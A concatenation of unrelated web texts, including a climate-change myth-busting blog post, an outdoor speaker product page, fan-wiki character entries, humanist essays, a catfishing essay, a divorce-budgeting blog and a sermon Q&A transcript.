So on a hot summers day, you may feel like the difference between 25 degrees C and 27 degrees C does not affect you that much. However, when you start talking about global average temperatures, it’s a completely different story. Around 27,000 years ago, the Earth was in the Last Glacial Maximum which meant that the sea levels were 100 metres lower than they are today as 32% of the land surface was covered in ice (compared to 10% today). At this time, the average temperature was only 5 degrees C lower than they are today. If temperatures were to increase only 2.7 degrees C, this could increase sea level from melting ice which reduces habitats of terrestrial or shelf organisms. Organisms such as crabs and mussels would have a reduced habitat area (or ecospace) and would suffer a potential extinction (such as the one in the Devonian) and affect food security for those who rely on shelf organisms in their diets.
Sea level is just one aspect of what may change. All aspects of life could also change. This could include weather patterns, energy supplies, crop yields and pollution levels. However, this is such a major issue that this is a post all in itself.
Climate Change is just a Natural Process
So on some levels, this is correct. For example, the position of the sun relative to the Earth or the axis of the Earth could affect how extreme seasons could be (also known as Milankovitch Cycles). However, as seen in point 1, climate trends have been over the last 200 years or so but Milankovitch Cycles occur over periods of over 10,000 years. The climate of the Earth can deal with gradual changes of the Milankovitch cyclicity but the current levels of atmospheric CO2 levels correlated with temperature rise should have occurred over a period of thousands of years.
Aren’t increased Carbon Emissions caused by Volcanos?
A very topical subject at the moment. Volcanoes emit greenhouse gases such as CO2 on what seems like a large scale. The U.S Geological Survey (USGS) reported that volcanoes emit 200 million tons of CO2 per year. Compare this to human activity which emits 24 billion tons of CO2 per year, volcanoes really do not add much to the damage we do.
Trump, “ice caps are now setting records”
To quote Trump himself, “If the ice caps were going to melt, they were going to be gone by now.” Now, this is contrary to 97% of all scientific explanation. Michael Zemp who is the director of the World Glacier Monitoring Service said that glaciers are melting at an extreme rate. So basically Trump is correct in terms of ice caps setting records, but rather they, are setting records in terms of how fast they are melting.
CO2 isn’t Rising that Fast
It might not seem like much is changing, but looking at this graph shows that since the Industrial Revolution, CO2 emissions have increased at an unprecedented rate due to the start of burning fossil fuels. Not only CO2 but other greenhouse gases such as methane and nitrous oxide have also been increasing due to an increase in intensive farming practices. Prior to this, annual CO2 emissions from human activity did not significantly impact the environment as CO2 ppm was stable at around 280ppm but as of April 2018, atmospheric CO2 was 410 ppm which is the highest level since Pliocene (3.6 Mya) which had average summer temperatures that were 14 degrees C warmer than they are now. If this doesn’t imply what could come, I don’t know what could.
Climate Models aren’t Accurate
When people criticise climate models, they tend to be criticising weather predictions. There is a large difference between the two. Weather models predict the current weather whereas climate models have accurately predicted weather trends since the 1960’s.
If it’s so dire, what’s the point in trying to fix it?
It might seem like there’s nothing we can do, but you’re wrong. The Paris Agreement set out in 2015 is attempting to reduce our reliance on fossil fuels and make renewable energy more accessible for developing countries, thus helping to reduce CO2 emissions from fossil fuels. It’s not only governments that can aid in reducing climate change, it’s also everyday changes people can make. For example, the nationwide scheme to charge for plastic bags had reduced Englands use for plastic bags by 85% since 2015. A reduced amount of plastic bags can prevent plastic in oceans and allows for marine ecosystems to recover.
If our generation can start to fix the damage we have caused, then future generations can rebuild and regenerate the environment that was once here.
Again, if anyone has any other arguments or points to make, please write a comment and I will do my best to reply.
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First graph: Has Global Warming Stopped?
Second graph: CO₂ and other Greenhouse Gas Emissions |
global_05_local_5_shard_00002591_processed.jsonl/40726 | Sonnarray Speaker System
Sonarray Outdoor Speaker System by Sonance
Go beyond the limits of your existing home theater system with premium-quality sound in your backyard. As the industry leader in in-wall speakers, Sonance applies its expertise outside to bring you the Sonarray SR1 Outdoor Speaker System. Sonarray SR1 is a complete outdoor audio system that delivers amazing sound and perfectly even volume levels to your yard and patio.
Each of the eight satellite speakers contain a 3.5-inch anodized aluminum cone within a noncorrosive, sealed enclosure designed to blend in with your yard’s landscaping. The below-ground, 8-inch dual voice-coil subwoofer easily disappears under low-lying foliage. Directional speakers contain the sounds within your own yard, minimizing disturbances to your neighbors. The system provides a clear and balanced sound with even volume control and no dead spots.
The satellite speakers are constructed from earth-toned composite materials that won’t corrode or flake and are easily camouflaged among existing plants. The subwoofer is buried underground with a small canopy exposed, which is also easily camouflaged under plants. Once installed, the system is completely out of sight, giving the illusion that sound is radiating from the plants around you.
The SR 2-125 DSP Amplifier is the perfect complement to the Sonarray SR1 system. The 125-watt stereo amplifier contains 20 DSP presets that allow your system to be tuned perfectly for your space.
Whether you have hardscape or softscape, the amplifier presets will optimize the best sound and performance. It includes multiple inputs to allow you to use several sources and streaming music devices.
The Sonarray SR1 system uses simple wiring configurations to make installation easy. A pair of stereo speaker cables are connected to eight satellite speakers, alternating between left and right. The subwoofer is connected to both pairs and the cables are then connected to a standard AV receiver or amplifier.
• Eight satellite speakers and one subwoofer system
• Even coverage of high-quality sound up to 2,000 square feet
• Satellite speakers camouflage among landscaping and plants
• Runs off a standard two-channel power amplifier or stereo receiver
• Daisy chain wiring configuration for simple installation with 14-gauge, four-conductor wire
• Designed to handle extreme conditions for year-round use
• Three-year warranty
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global_05_local_5_shard_00002591_processed.jsonl/40727 | May I Not Conceal Your Love And Your Faithfulness
I do not hide your righteousness in my heart; I speak of your faithfulness and your saving help.We shouldn’t hide it – that light that beams from within our souls. Our hearts are not meant to be camouflage canisters, tucked away for safekeeping. They are made to palpitate in severity for the King of Kings.
Let the world see your life chamber beat with robust rhythms. Don’t quench that love that flows from the sparkle in your eyes and the crevices of your smile. You make a difference when you radiate Christ.
We are beckoned to share the luminous blessing of our salvation. How could we hide such a rich treasure that makes our souls soar and dead bodies come to life?
Broken and alone, this world is seeking. People are searching for the light your body houses – the light that scorches isolation, fear and discouragement. You carry a powerful light, sweet child of God! You carry the truth that will cut through falsehood.
You will meet resistance. Remember the darkness cannot tolerate the light for in its presence, it dissipates. Hold fast – and stand firm. The steadfast heart is rewarded with crowns of splendor.
Fasten your feet to the bedrock of your Savior’s loyalty. Like a knight dressed in solid silver, hold up that sword and shield in courage. Shout in clarity the battle cry of strength and victory.
Do not be ashamed of the Gospel, dear one. Evil will try to make you feel afraid and humiliated of your moral stances – but resist this vile untruth. Focus on the sweet fruit from the vine of the LORD.
The vine always provides the life sustaining nutrients in order to sustain the plant. Drink up the provision of the King. His nourishment will equip you for every challenge you may face!
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global_05_local_5_shard_00002591_processed.jsonl/40741 | The Eternals: Everything you need to know
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From Digital Spy
Even before the Phase 4 announcement at Comic-Con, we knew that the Eternals were heading to screens and with an all-star cast.
They're possibly the biggest creative risk since the Guardians of the Galaxy, but that movie turned out alright in the end, so we're confident that Marvel can make fans care about a group of little-known superbeings.
But who are these little-known superbeings? Here's everything you need to know about the movie version.
The Eternals release date: When can we expect it?
Kevin Feige confirmed that The Eternals would be the second movie of Phase 4 as it hits cinemas on November 6, 2020.
It's not yet clear if the movie will have a traditional earlier release in the UK and we don't know for sure when it's filming, but rumour has it that the movie will begin shooting in summer 2019, which sounds about right given the release date.
Chinese filmmaker Chloé Zhao has signed on as director. She's best known for the 2017 western The Rider. Writing duo Matthew and Ryan Firpo are working on the script.
Photo credit: Marvel Comics
Photo credit: Marvel Comics
The Eternals cast: Who will be in it?
After what felt like endless rumours of stars being in talks for roles in the movie, the official announcement confirmed who is actually in it and the rumours were pretty spot-on.
Here's how the cast is shaping up:
• Angelina Jolie as Thena
• Richard Madden as Ikaris
• Kumail Nanjiani as Kingo
• Salma Hayek as Ajak
• Lauren Ridloff as Makkari
• Brian Tyree Henry as Phastos
• Lia McHugh as Sprite
• Don Lee as Gilgamesh
• Barry Keoghan as Druig
• Gemma Chan as Sersi
• Kit Harington as the Black Knight aka Dane Whitman
Not bad, right?
Millie Bobby Brown was rumoured to be in the movie, but she denied it to Digital Spy: "I've heard that... I'm not a part of that, not at all actually. I'm always open to new things but I can't attach myself to something I don't know [laughs]."
And, for now, it seems she was telling the truth.
As for Jolie, taking on the role of Thena meant a drastic change of hair colour revealed when the actress was spotted filming a scene in which she wades out into a lake.
Many believe she is about to spread the ashes of, well, someone dead. Speculation is that the ashes are Thena's father's, Zuras. If so, the moment will likely be a simple mood setter, and only there to show how Thena ended up in charge of the Eternals.
Zuras is one of the few important Eternals from the comics not to be cast in the movie, so his being dead would make sense. Of course, this is pure conjecture and nothing has been confirmed.
The Eternals plot: What will it be about?
We're still waiting on an official synopsis or even some plot hints for The Eternals, but maybe we can gather something from when Kevin Feige first spoke about it while he was promoting Avengers: Infinity War.
Related: How Marvel can bring the Eternals into the MCU
"[We want to introduce] characters that the majority of the world has never heard of, much like Guardians, much like Avengers before we made Avengers. And there are lots of them," said Feige.
Photo credit: Disney
Photo credit: Disney
Initial reports posited The Eternals plot would follow Sersi, an Immortal who sometimes acts as an Avenger. Her powers include illusion making, transmutation, and other magical superpowers. Not to be confused with the scary blonde Game of Thrones' matriarch.
Though the world of The Eternals may be unfamiliar to the wider, casual Marvel audience they have actually already featured in the MCU. And not via the character you think... Here's a hint, he's big and purple.
In Marvel's What If series, the Titans were retconned as being an offshoot of the Eternals species, created by Jack Kirby. This meant that Thanos became an Eternal too. But Thanos, with his purple skin and wrinkly chin (and the whole genocidal mania thing), was revealed to have Deviant traits.
His mother trying to murder him upon his birth because of this might have had something to do with his twisted outlook too, but hey, no excuses.
As of yet, the MCU hasn't explicitly confirmed Thanos is an Eternal (and partially a Deviant, too), but it seems like an odd thing not to do when The Eternals movie is on the horizon. It would tie them into the MCU much more clearly.
Photo credit: Marvel Studios
Photo credit: Marvel Studios
The Deviants are the antithesis of the Eternals, both of whom were created by the Celestials.
Incidentally, the Celestials have already made an appearance in the MCU, too. We glimpsed one in Guardians of the Galaxy in their classic armour when The Collector explains the history of the Power Stone to Star-Lord and his allies. Not to mention the lawless mining 'planet' Knowhere, introduced as the decapitated head of a Celestial.
In Guardians of the Galaxy Vol 2, Star-Lord's long-lost father Ego also identified himself as a Celestial (a retcon from the comics, in which he was a mortal scientist who merged with his planet), connecting Peter Quill to the Eternals through his half-Celestial heritage.
The Eternals comics: What exactly are they?
Photo credit: Marvel Comics
Photo credit: Marvel Comics
The Eternals are a race that evolved from the same genetic ancestors as humans. They were created five million years ago, give or take, thanks to genetic experiments carried out by giant, armoured space gods called the Celestials (much as the Inhumans were created by the Kree, if you'll forgive us for reminding you).
Thanks to their effective immortality and amazing powers, they were the inspiration for many of mankind's ancient myths. They have deadly enemies too, of course, because this is comics. Those enemies are the Deviants, a race of genetically unstable and weird-looking monsters, in another unfortunate example of pretty = good/ugly = evil.
Photo credit: Marvel Comics
Photo credit: Marvel Comics
The Eternals were the brainchild of Jack Kirby, the artist/writer co-creator of Captain America, Thor, Iron Man, the X-Men, the Fantastic Four and many, many more classic characters.
This story was initially supposed to be separate from mainstream Marvel continuity, as Kirby had grown sick of the way comics storytelling had become increasingly interconnected, and wanted to tell a tale without having to worry what was going on in Spider-Man, Avengers and the rest. However, after his departure Marvel reversed that, initially bringing Thor and his fellow gods into the picture as they attempted to protect Earth from destruction by the Celestials.
The Eternals bear a strong similarity to the New Gods, another race of superpowered beings Kirby created for DC Comics. Frustrated by his work for Marvel's rival, he switched back to his old publisher without finishing the New Gods' epic story. There he created the Eternals, only to stop halfway through that story under similar circumstances.
(Incidentally, Warner Bros is developing a New Gods DC movie with director Ava DuVernay.)
Photo credit: Marvel Comics
Photo credit: Marvel Comics
Kirby's Eternals is set in the present day, where mankind discovers that Superbeings Walk Among Us after the Eternals' war with the Deviants escalates again following the return of the Celestials to Earth.
The Celestials had come back to judge the Earth, with the promise that if we were found wanting their experiment would be branded a failure and we would all be killed! Thor and the gods allied with the Eternals to try to drive the Celestials away, but failed utterly. Thankfully, the Celestials decided that Earth was okay and left peacefully.
Photo credit: Disney
Photo credit: Disney
As time went on, the Eternals were tied more closely into Marvel continuity. Notable Eternals include the warriors Thena and Ikaris, and Sersi, a sorceress-type who even became a member of the Avengers.
The aliens who live on Saturn's moon, Titan, were also retconned to be part of the race of Eternals.
The Eternals trailer: When can we expect it?
With filming having begun this autumn, we could get a trailer later this year. However, we have a feeling we'll be waiting until 2020 for any official footage.
The Eternals will be released on November 6, 2020.
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U.S. President Donald Trump said that the only sphere where Washington wants to "invade" is actually economy.
During the interview with Fox News, Trump was asked to comment on Republican Sen. Lindsey Graham’s summary of their talks in January. According to Graham, Trump allegedly said: "You want to invade everywhere except where I want to invade."
"I want to invade, if I have to, economically," Trump replied, praising his administration's economic policies and stating that they had helped to create "a much stronger country economically."
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global_05_local_5_shard_00002591_processed.jsonl/40777 | Temutai is one of the main antagonists in the DreamWorks/Nickelodeon TV series Kung Fu Panda: Legends of Awesomeness. He is a huge water buffalo who is very strong and very skilled in the martial arts
He was voiced by Kevin Michael Richardson.
Even though Temutai's origins are unknown, his legend is well-known throughout the Valley of Peace. Temutai himself claimed in "The Princess and the Po" that he had defeated Kung Fu masters across the land. Additionally, Master Tigress mentioned that Temutai's Kung Fu was so strong that he could tear an opponent in half without even touching them. Master Mantis had commented that he thought Temutai was just a myth.
It was presumably through this legendary reputation that Temutai became king of the Qidan Clan. It's unknown how long he's had this position, but another one of Temutai's remarks in the episode indicates that he's had at least one princess as a servant. In exchange for peace, Princess Mei Li's people send a princess to the Qidan Clan to become a lifelong servant to the Qidan king; but the princess is replaced every few years because of none of them last very long.
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In "The Princess and the Po," Princess Mei Li was being offered to Temutai for peace.
Master Po defeated Temutai by holding onto his ears and guiding him into the wall and rocks until he eventually collapsed. Once defeated, the water buffalo offered peace and let the gang go.
Temutai reappeared in "Owl Be Back," in which he fought Master Po again, and claimed that he had a head cold the last time Po defeated him.
In "The Kung Fu Kid", Temutai and his warriors came to partake in the Peace Jubilee; despite a few awkward moments between him and Po, he was honor-bound to commit no violence in the Jubilee. With Po and Shifu, he judged the children's Kung Fu skills until he announced his nephew, Jing-Mei, whom none of the other kids wanted to fight. Before Jing-Mei was announced the winner by default, a young child proposed Jing-Mei fight a young snow leopard. The leopard was hesitant but accepted after Jing-Mei pressured him and wrecked his pottery cart, and he introduced himself as Peng. When the match began, Temutai watched in disappointment as Peng easily defeated Jing-Mei and therefore announced the winner. Temutai wanted Peng to train with him, but Po wanted the young leopard to train in the Jade Palace. Shifu interfered and said it was Peng's choice; he chose the latter, much to Temutai's outrage.
At nightfall, Temutai was confronted by Peng in his tent, desiring to defeat the Qidan Clan leader to prove himself worthy to Shifu, leading to a violent fight between the two where Temutai found himself forced on the defensive. Po eventually intervened, trying to get Peng to stop. But the fight escalated and continues outside in the village, causing an all-out brawl between the villagers, the Qidan Clan, the Furious Five and Peng. Po shouted for everyone to stop and came clean to Peng about his jealousy and apologized. Peng forgave him and the Peace Jubilee ended with the closing ceremony performed by Peng, Po, and Temutai.
Temutai is shown to be a tough, arrogant, manipulative and short-tempered individual. Though he is uneasy to fool, he is very willing to challenge others and prove his might, especially if he thinks he can win a worthy trophy by doing so. Temutai is also extremely merciless, destructive, and unsympathetic, but recognizes when he has been defeated; for example, in "The Princess and the Po", he didn't have any second thoughts about making Princess Mei Li his servant for life, but when defeated, he fairly accepted his loss. Temutai also tends to talk loudly and overemphasize words when speaking.
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Velstadt, also known as the Royal Aegis, is a minor antagonist and boss in Dark Souls II. A knight of Drangleic, he follows and serves Vendrick despite the atrocities that the king committed.
Velstadt was originally from a faraway land, presumed to be Shulva. He remembers nothing about where he came from or why he came to Drangleic. He chose to serve King Vendrick and became his right-hand along with Sir Raime. Velstadt would follow Vendrick through all of his downfall, including killing off the giants under Nashandra's manipulation and conducting their enslaved giants into golems. When Raime confronted the king over his wrongdoings, Velstadt condemned Raime a traitor and fought against him, ending in Velstadt's victory. Raime was exiled out of Drangleic and later became the Fume Knight while corrupted under Nadalia's influences.
After Vendrick fled Drangleic Castle and took refuge in the Undead Crypt, Velstadt followed. Despite Vendrick becoming a hollow, Velstadt would remain and protect the king as the last line of defense, guarding the room leading straight to his corrupt king. However, staying in an area contaminated with hollows too long would take its toll on Velstadt, and he himself became a hollow. For the years he resided in the Undead Crypt, Velstadt slaughtered numerous individuals who sought to reach Vendrick behind him.
Under Nashandra's manipulation, the Bearer of the Curse is required to obtain the King's Ring from Vendrick to get past the gate protecting the Throne of Want. Traveling to the bottom of the Undead Crypt should they find a hollow Vendrick and claim the ring from his discarded clothes; but first, they will have to get past Velstadt. He attacks by slamming his hammer at the player. His hammer can be parried, but he cannot be riposted. When he takes enough damage, Velstadt bends down and rings a bell in his hammer to temporarily increase his stats. While buffed, he can shoot dark magic orbs out of his hammer. Once Velstadt goes down, he drops his boss soul and a Royal Soldier's Ring+2, which increases the player's equipment load by 20%.
• A clone of Velstadt can be summoned by Elana.
• He is one of the few bosses who can be parried.
• Velstadt's design may be based on Garl Vinland from Demon Souls.
• In the Dark Souls II: Scholar of the First Sin edition of Dark Souls II, Velstadt can be seen at the very end of the tunnel within the "Memory of the King". He cannot be reached in time as the Ashen Mist fades quickly.
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If you only have one try at something then you’re going to give it your best shot, and knowing this is the only life we have, and there’s no afterlife, then you live your life better, as it’s the one chance we have to make a difference. Christians are of the belief that as long as they stroke the ego and follow the will of their god, they will be judged kindly and live an eternity by his side. This means that this life is a stepping stone to the next life when they meet their maker, so it’s essentially just a life of preparation, and nothing really matters. Christians claim the moral high ground as they think that following the Ten Commandments and the gospels of Christ gives them moral superiority, and anyone who doesn’t have god in their life has no moral foundations, so they can do whatever they like and revel in their sins. But this simply isn’t the case at all.
Humanism inspires a lot of enthusiasm for everyday life and urges people to be better to one another, to work towards a better future and a common good. If I believed there was an afterlife I would have so much less motive for filling this life with every experience that is offered up to me.” – Stephen Fry
Many atheists that I know are humanists which is about the agency of mankind and dealing with evidence, reason, logic and compassion without the need for religious interference. Because of this they see value in all humans regardless of their race, sexuality or beliefs, which none of the Abrahamic religions can compete with, as they all have their prejudices, and ridiculous notions that immorality is against the laws provided by a war god who’s indiscriminate in his savagery if the Old Testament is anything to go by. There’s nothing moral about Muslims throwing homosexuals off buildings, or calling for the heads of blasphemers. There’s nothing moral about slavery, child abuse, corruption in the church, misogyny or racism, and then claim that two consenting adults of the same sex are immoral because they are in love.
Do any of you have any recollection of anything happening before you were born? I’m guessing the answer is no, so what makes people think there’s a life after death? Mediums and tarot card readers are con artists, and has anyone ever really seen a ghost? To suggest we have another life implies that we have a soul, and do you know of one single biologists, or neurologist who’s found any evidence of a soul? A soul, or psyche is supposedly the mental state of a human that incorporates imagination, memories, personality, and perception, and the soul leaves the body after death. Christianity is of the belief that the soul is immortal, but if we are apes (Hominidae) who are part of the primate family, then do gorillas, bonobos, orangutans or gorillas have a soul, and considering we share 98.7% of our DNA with bonobos then surely they must also have a soul?
When a person is involved in a traumatic incident and suffers irreversible brain damage, how does that affect the soul? Is the soul damaged? If you arrive in the afterlife, do you get to pick an avatar of yourself? If a person died in an explosion, or died from a life changing disease or illness, would the version of yourself be before you became sick? As we know, the brain is a neurological processor, and the brain cells function using rapid electrical impulses. When the body dies, the brain dies and gradually decomposes, so if the consciousness is within the brain, how can it possibly survive once the brain has ceased working? |
global_05_local_5_shard_00002591_processed.jsonl/40826 | Science and morality
The science of morality is interpreted by empirical findings based on the senses, and is in effect linked to the scientific method in where observation and experimentation to acquire knowledge, to form an understanding of the subject is in play. Many sceptics claim that science doesn’t have the means to determine what can be moral or immoral, but observable facts are reached by using the scientific method, yet the whole concept of morality is about well-being and living a virtuous life, yet what’s good for one person could be detrimental to another.
So can science actually determine morality? Science attempts to be objective, and reach a conclusion based on reason, reality and facts gathered from evidence. Two of the biggest questions in philosophy and science are; who are we? Where did we come from? Many people of faith believe that we are here because we are made in the image of god, and were placed on Earth to rule a dominion over other life forms, and with us being in God’s image we have a morality giver. Yet this is purely speculative, without justification and is subjective to the religion a person puts their faith into. For something to be universally moral, it has to be based on facts or how else can it be agreed upon?
“Psychological and neuroscience research both tell us that morality, our mental ability to tell right from wrong in our behaviors and the behaviors of others, is a product of evolution. Morality has been passed on through the course of evolution because it helps us to live in large social groups by enhancing our ability to get along and interact with others. – Source
So using that standard, religion can not be moral. Morality is in two parts and the first part is how you act and the more empathy, compassion and humility you use, then the greater the chances are you’ll do something for the greater good that’s beneficial to others; and the second part is how your actions make you feel, and if you do something bad, you feel guilt, resentment or remorse, then it’s likely that if put in that same situation again you’ll try and change your ways for the greater good. Is having expectations supplied by a god, who doesn’t want you to worship anyone but them, being moral or is it just being obedient and following the rules? Morality is about being about to distinguish between good and bad, wrong or right. Being moral is about trying to work for the betterment of all, not just the ones who are part of your elite club..
Very often a person’s view of morality is derived from cultural traits and expectations, and people are conditioned socially to act in a certain way that doesn’t infringe the rights of other sentient beings. Many philosophers arrive that morality is inherent from birth, and to be socially accepted into a pack, then we must adhere to standard or principles to maintain an equilibrium so we can multiply as a species. Whilst science can’t directly determine what’s moral and what’s immoral, it can certainly study empirical evidence to determine if an action is going to constitute in the well-being of others, and what can be done to reduce suffering of the majority. So science can determine what’s true, but not what’s right. Yet, by using the scientific method we can reach moral conclusions. Take murder as an example. To take another person’s life is an infringement on their rights as a human, and it causes suffering to the victim and those close to them. But if you had a choice to save 100 people and let one die, would that judgement be a moral one, as the decision was for greater good, or is it a decision that can’t have any moral implications as a choice had to be made or everyone would die.
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It’s a natural human condition to attempt to manifest yourself as a better, and more attractive person than you actually are, but what’s the benefit of creating an elaborate facade when the truth will inevitably reveal itself? This mindset of creating an altered persona, or avatar, is extremely prevalent on social media and dating apps, yet surely it’s counter productive if you’re attempting to be something you’re not if you are already known, or wanting to be known. So many people use Snapchat filters to completely alter their physical appearance, then they become unrecognisable in person. What is the thinking behind this action?
“Most users of social media have experienced catfishing (which cats hate), senseless rejection, being belittled or ignored, outright sadism, or all of the above, and worse” – Jaron Lanier
Some people take a step beyond this and create a whole different character, and this is known as catfishing. This is an extremely deceptive tactic which is often used to attempt to gain financial advantages, scams, bullying, blackmail, explore their sexuality in anonymity, or to stalk/troll their chosen victim. Whether it’s someone living out a fantasy, or portraying themselves as more desirable than they truly are, often the victim is taken in as they are enjoying the attention they are receiving. The perpetrator may just be lonely and self-conscious and by creating another persona they are getting more attention than they would in the real world, but many people have a more sinister motive with psychopathic tendencies. Most people assume that a psychopath is a violent person, but there are other signs of psychopathological behaviour, and these tend to be a lack of empathy and remorse, vindictive and self-serving, antisocial or manipulative behaviour.
The potential for anonymity loosens up social and moral codes. This means the need to be a certain way to fit into society seems distant, freeing up mental space to explore the dimmer, darker bits of our personalities without fearing stigma.” – Source
Face to face most people reach a judgement quite quickly whether someone is being genuine, and you can read people by their body language, but when you’re at the other end of an electronic device to the other person, it’s impossible to read signals and body language. If someone seems too good to be true then they probably are and you are wise to trust your instincts. If you’re with someone you have to portray your image relative to who you really are as it’s extremely difficult to pretend to be someone else, but being online behind a level of anonymity, people are able to craft themselves to be more appealing to the victim. They may empathise with you, be sympathetic, or claim to share the same interests as you in an attempt to lower your guard and persuade you to begin to trust them. You know you’re being catfished when the person is reluctant to reveal themselves in a video call, or they aren’t fond of the idea of meeting in person. Many will use reverse psychology and will over emphasise their alleged loyalty and honesty, and will play on your heart strings with a traumatic life event which has left them in financial ruin. As soon as the subject of money arises, you’re being played. Trust your intuition! |
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I'm going to pause here so as not to launch into a rant about ways to achieve or not achieve equilibrium in a marriage, which encompasses not just money but responsibilities, effort, and emotional support.
OM, baby. Just OM.
I would not have left my marriage if I hadn't felt confident that I could support myself and Precocious Daughter. That's just the truth. If the income her father brought in meant the difference between making ends meet and not, then yes, I would have stayed, at least until she was grown up. Because I never would have wanted her to suffer or go without just because her parents' marriage had gone sour. I suppose that mindset is open to debate. But to my mind there is no argument to favor placing my happiness and security over hers.
The point is, I crunched the numbers and concluded my income was sufficient to pay our way. Although I'm paying way more in rent than I was paying for my mortgage, overall I figured our living expenses would be reduced by about 1/3 when we became a two-person household.
Boy, was I wrong.
Because who understands money, amiright?
Turns out my almost-ex didn't consume 1/3 of our resources. Turns out he consumed at least as much as PDaughter and me combined. He was like an eating, crapping, throwing-shit-away machine, you guys. He was like a living garbage disposal who also demanded rough sex five times a week.
Not even going to Google an image to go with that.
A few examples: The three of us used to go through at least a gallon of milk a week. Now, PDaughter and I can barely get through a half-gallon before it expires (around the two-week mark). I used to buy a 12-roll package of toilet paper every three weeks or so. I think I've bought TP twice in the three months PDaughter have been on our own. I run our dishwasher about twice a week (and it's usually not even full), whereas at the house it was nearly every day, with some glasses and dishes inevitably not being able to fit.
Seeing a pattern?
I keep thinking about what Marx and Engels said: From each according to his means, to each according to his needs.
I can't help but think that Karl and Fred would have called bullshit on my former spouse. Although I suppose the current Republican-controlled U.S. Congress would welcome him with open arms.
Bitches be like "representative democracy," WTF?
It simply does not cost as much to support the two of us as I initially thought. Even though I didn't get nearly as much from the sale of our house as I wanted. Even though I thought I'd be able to pay off my car but haven't. Even though I'm receiving not one thin dime of child support. Still we're OK financially, and my bank account doesn't seem to be hemorrhaging money.
It seems that, on our own, PDaughter and I are able to live a simple yet abundant life that is not beyond our means.
I don't know how my almost-ex is faring. I haven't asked. Since he got twice as much as I did out of the sale of our home, I assume he's OK until the proceeds run out. I suspect he's not really budgeting for that day.
Not my problem, though.
I'm paying my bills and keeping us in groceries and furnishing our apartment by degrees. I think we're happy. I know we're keeping our heads above water financially.
It feels amazing to say that, you guys.
I hope everyone reading this can say the same.
1. I think that's the experience of most people who break up. It was certainly true of me after my disaster of a brief marriage.
2. I lived with someone for a while and when they moved out, my water bill dropped by 3/4ths. I have never figured out how one person used that much water.
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Elijah's Return
Scripture: Malachi 4:5-6, Luke 1:17, Matthew 17:11-13
Date: 09/21/2006
What does the last Old Testament prophecy of Elijah returning mean? The Bible teaches that John the Baptist came in the spirit and power of Elijah. There is no greater prophet for he introduced the Messiah. We too must hear the call of Elijah to our hearts and turn to Jesus. Baptism symbolizes our commitment to Christ.
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Good evening, ladies and gentlemen. Welcome again tonight. We're ready for Pastor Doug to come out, but we'd like to sing first. And so Pastor John, come on out and sing with us. Let's all stand together and sing our theme song.
You know The Song, "give me the Bible." Let's all sing that together... Remain standing tonight. We have pastor ron whitehead who's going to lead us before the throne of grace in prayer. Let's bow our heads together. Father God, it's always good to talk to you.
We always have time for you, Lord, because you have time for us. Tonight, as we gather all over the globe to seek a greater knowledge of you, we ask for your presence to be with us. Give us that knowledge that will prepare us for your soon return. And all the people said, "amen." Amen. You maybe seated.
Thank you, pastor ron. Pastor ron is the assistant to the president at andrews university for spiritual life. Glad to have him with us tonight along with our musicians. I wish you could have heard this morning when Pastor Doug took us to Mark 2 and the breathtaking story of the healing of the paralytic. God has gifted our speaker tonight with the ability to just draw in such rich ways from such ancient stories.
And I know you were blessed, those of you who were here this morning. He's back here tonight, and so let's just cut to the chase, get to that q & a time. How about a warm welcome for Pastor Doug Batchelor, "most amazing prophecies" speaker. Thank you. Good evening.
Nice to have you back, Pastor Doug. Thanks for inviting me. This question was just handed to me. Okay? This is a brand-new question. "Why is it, Pastor Doug, that your face--why is that your face has an extra glow tonight that we haven't seen before?" I thought he was gonna say, "well how come my face isn't on any American currency.
" I didn't know what he was gonna say. I think this is his way of giving me the opportunity to introduce mrs. Batchelor. Where do you--sitting? Oh, there you are. Karen, come up here.
Let them just see you, dear. There she is. Ladies and gentlemen, a warm welcome, Karen Batchelor. Very thankful that Karen is here. She was here with me 10 years ago, and we have the two youngest of the Batchelor tribe.
And I think they're with the children's departments right now. We asked them to dress up and come hear dad preach but we couldn't talk them into it, so-- tomorrow. Yeah, tomorrow. We'll do that tomorrow or the next day. You'll get to meet them.
But, thank you, dear. We're so glad you're here. Welcome, Karen, good to have you here. I'll tell you, I love her name. Give me a high five for both of us having the good fortune to being married to a Karen.
Hallelujah. Hallelujah. Do you know that name's in the Bible. The name Karen is in the Bible? Yeah, you didn't know that? I did not. The daughters of job.
One of them's called Karen hoppic. Look it up into the book of job. I'm gonna start using that name around the house. I like that. Doug is in the Bible too.
Doug is in the Bible? D-u-g. Oh, yeah. That's right. I read about you. You are one of the amazing prophecies.
All right, all right. "I wonder something about what Pastor Doug said in tonight's lecture. Although, he gave many good Scriptures to support the idea that we don't actually move on until the first or second coming, Jesus, himself, says something to the one hanging on the cross beside him, to one of the men, the thief, Luke 23, we know this verse 43, Jesus says to him, 'this day you will come with me to paradise.' Now notice this, the norwegian version translated by me." So this is somebody reading a norwegian Bible. This was e-mailed into us from norway. "Can this be, if the sinner isn't to be resurrected before the second coming of Christ? How could he be in paradise with the thief that day? Good question.
A lot of people, when they wonder about the sequence of when they go to heaven, they point to the experience in Luke 23 where Jesus says to the thief, presumably on his right hand, "verily I say unto thee, today thou shalt be with me in paradise." The solution for this verse is a very simple one. Keep in mind in the original Greek, there is no punctuation. Putting the punctuation in the right place makes a world of difference. The way that verse should be--and also, the Scriptures are inspired but translators, anyone can do their own translation from one language to the next. The translators chose to put the comma where they did so it reads that you go right to heaven because that's what the church was teaching during the dark ages.
But it really should read, "verily I see unto you today, you will be with me in paradise." The emphasis being, "I am telling you today. You're going to be there with me." "Now Pastor Doug, how do you know that?" When Jesus rises from the dead Sunday morning, and mary grabs him by the feet, he says, "do not cling to me." the King James says, "do not touch me"; but it's better translated, "don't cling to me." In other words, "don't keep me from going 'cause I have not yet ascended to my father." Now, how could Jesus have been in paradise with the thief Friday afternoon if he had not gone to be with his father yet by Sunday morning? I heard a story one time, back before they had telephone and e-mail when they were still using telegraph, that a very wealthy businessman in New York, his wife was in paris doing some shopping. And she sent him a telegram and said, "found this mink or fox coat that I would like to buy and it costs $2,000." And he sent back a telegraph. And it said, "no price too high." So she bought it. And it could have been selective reading.
We're not sure. Took the cruise ship home, got off the boat and there he was to meet her at the dock. And she's sporting this very lavish fox coat. And after hugging her he said, "you bought the coat." And she said, "well, you told me, 'no price too high.'" He said, "I said, 'no, price too high.'" They left out the comma 'cause you used to pay for every letter back then. They gave a totally opposite meaning.
